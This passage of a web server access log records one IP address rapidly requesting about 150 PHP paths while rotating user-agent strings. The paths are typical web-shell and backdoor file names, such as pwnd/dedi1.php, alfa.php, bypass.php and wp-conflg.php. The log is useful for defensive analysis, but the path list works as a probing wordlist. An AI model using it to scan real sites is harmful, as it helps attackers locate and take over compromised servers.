(Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:42:53 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:53 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:53 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:54 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:42:54 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:55 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:55 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:55 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:56 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:56 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:56 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:57 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:57 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:57 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:42:58 +0300] "GET /x/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:42:58 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:58 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:42:59 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:59 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:00 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:43:00 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:00 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:01 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:01 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:01 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:02 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:02 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:02 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:43:03 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:03 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:43:03 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:04 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:04 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:43:04 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:05 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:05 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:43:05 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:06 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:43:06 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:06 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:43:07 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:43:07 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:07 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:08 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:08 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:09 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:09 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:09 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:10 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:10 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:10 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:43:11 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:11 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:11 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:12 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:12 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:43:12 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:13 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:43:13 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:14 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:43:14 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:43:14 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:43:15 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:15 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:15 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:16 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:16 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:43:16 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:43:17 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:17 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:17 +0300] "GET /js/mrx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:18 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:18 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:18 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:19 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:19 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:19 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:20 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:20 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:21 +0300] "GET /fonts/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:21 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:21 +0300] "GET /entrepreneuse.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:22 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:22 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:22 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:23 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:23 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:23 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:24 +0300] "GET /index/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:24 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:43:24 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:25 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:25 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:25 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:26 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:43:26 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:26 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:43:27 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:27 +0300] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:27 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:28 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:28 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:28 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:29 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:29 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:30 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:30 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:30 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:30 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:43:31 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:43:31 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:32 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 